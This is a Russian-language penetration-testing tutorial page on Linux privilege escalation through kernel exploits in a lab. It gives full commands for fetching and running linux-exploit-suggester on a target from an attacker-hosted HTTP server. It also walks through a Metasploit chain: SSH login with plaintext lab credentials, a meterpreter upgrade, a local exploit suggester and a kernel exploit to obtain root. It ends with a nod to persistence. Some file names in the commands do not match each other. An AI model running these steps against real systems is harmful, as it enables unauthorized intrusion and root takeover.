# 04 - Kernel exploits

Теперь можно рассмотреть метод повышения привилегий с помощью эксплойтов ядра. Есть несколько вариантов как этого можно добиться, напрмер с использованием фреймворка [metasploit](https://github.com/rapid7/metasploit-framework), или с помощью инструмената [LES: Linux privilege escalation auditing tool](https://github.com/The-Z-Labs/linux-exploit-suggester) , или вы самостоятельно смотрите версию ядра, после чего ищете подходящий эксплоит.\
Однако следует помнить, <mark style="color:red;">ломая ядро - можно положить весь хост</mark>, именно поэтому этот вариант рассматривается последним.

### **Начнем с**  [**LES: Linux privilege escalation auditing tool**](https://github.com/The-Z-Labs/linux-exploit-suggester) **.**&#x20;

Мы можем сразу скачать его на атакуемый хост, дать права на исполнение и запустить. Но я быстро покажу как передавать файлы с хоста атакующего на хост на котором мы будем ломать ядро с помощью python http server, это бывает очень полезно.

```bash
// На хосте атакующего:
// Скачиваем LES и поднимаем в той же папке SimpleHTTPserver на порту 9000

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
sudo python3 -m http.server 9000

// На хосте где ломаем ядро:
// Переходим в папку /tmp скачиваем LES, даем права на запуск и стартуем его

cd /tmp
wget 192.168.140.128:9000/less.sh
chmod +x less 
./less
```

<figure><img src="https://2826317613-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxXcvCa5Rbt6bHhLblf7%2Fuploads%2FgA4XkKeGFH4tLep48QSp%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media&#x26;token=e65c764b-9d0e-4f4f-9d73-49086ccf94ad" alt=""><figcaption><p>Передача файла</p></figcaption></figure>

После запуска скрипта LES, автоматически выведет  полученную информацию о ядре, номера CVE и о подходящих эксплоитах под ядро. Наиболее удачные варианты расположены в самом верху, там же имеется ссылка на эксплоит и базу знаний по нему.\
Осталось лишь скачать эксплоит, прочитать как он работает (возможно его нужно компилировать) и запустить на атакуемом хосте. В нашем случае это не требуется так как рут мы получили через misconfig.

<figure><img src="https://2826317613-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxXcvCa5Rbt6bHhLblf7%2Fuploads%2Fdyary5docxScA4A76ffy%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media&#x26;token=b75e1c70-6f9f-40b0-8970-02c8e58c8f13" alt=""><figcaption><p>Подборка эксплоитов от LES</p></figcaption></figure>

## <mark style="color:blue;">METASPLOIT</mark>

Тут тоже как и везде есть множество методов каким путем пойти. Но у нас уже есть SSH учетки, давайте использовать их.\
План действий будет такой:\
1\. открывает metasploit\
2\. Ищем нужный модуль для логина по ssh\
3\. Вбиваем в модуль известные нам учетки и ip\
4\. Поднимаем ssh сесссию до meterpreter (это расширенная полезная нагрузка/payload)\
5\. Ищем подоходящий эксплоит ядра\
6\. И пробуем пробить ядро и получить root

```bash
// запускаем метасплоит
msfconsole

// ищем модуль для логина по ssh
search ssh_login

// запускаем моуль
use auxiliary/scanner/ssh/ssh_login

// вбиваем в модуль известные нам данные
set rhost 192.168.140.129

// имя
set username steven

// пароль
set password pink84

// пробуем пробиться по ssh
exploit

// поднимаем сессию до meterpreter
use post/multi/manage/shell_to_meterpreter

// указываем к какой сессии привязать модуль (show sessions)
set session 1

//запускаем
exploit

// смотрим список сессий и ищем там meterpreter
sessions

// и заходим в сессию с meterpreter
sessions 2
```

<figure><img src="https://2826317613-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxXcvCa5Rbt6bHhLblf7%2Fuploads%2FIA3ieQv5s4DSSAobH5dj%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media&#x26;token=b56881c1-d909-400d-8c58-27136f6130f2" alt=""><figcaption><p>meterpreter получен</p></figcaption></figure>

```bash
// запускаем поиск подходящего под ядро эксплоита
use post/multi/recon/local_exploit_suggester

// смотрим номера сессий
show sessions

// привязывает поиск сплоита к сессии метерпретера
set session 2 (у вас будет отличаться)

// запускам и ДЖЕМ. Долго. В конце скрипт предложит лучшие варианты в самом верху 
//(если они есть)

run

    
```

<figure><img src="https://2826317613-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxXcvCa5Rbt6bHhLblf7%2Fuploads%2FLDafokGhuj8NjuE2YWlZ%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media&#x26;token=4d3b5574-0e9d-4cef-8393-b71277a5c7ca" alt=""><figcaption><p>Выбираем эксплоит</p></figcaption></figure>

Нам осталось выбрать эксплоит, настроить его, привязать к сессии и запустить

```bash
// выбираем сплоит
use имя_эксплоита_из_списка

// внимательно смотрим какие поля нужно заполнить (в моем случае это LHOST (ip атакующего)
// и номер сесии с meterpreter)

show options
set lhost 192.168.140.128 
set session 4
exploit
```

<figure><img src="https://2826317613-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxXcvCa5Rbt6bHhLblf7%2Fuploads%2FHyfmKlQIfg9CNX0P9rYw%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media&#x26;token=f21307ed-4dd3-40c7-9cc2-81384682b43e" alt=""><figcaption><p>Все получилось</p></figcaption></figure>

Как видно из скриншота, ядро пробито, установленна сессия meterpreter, root наш.\
Нам осталось как следует закрепиться на пробитом хосте, что бы  не потерять над ним контроль.
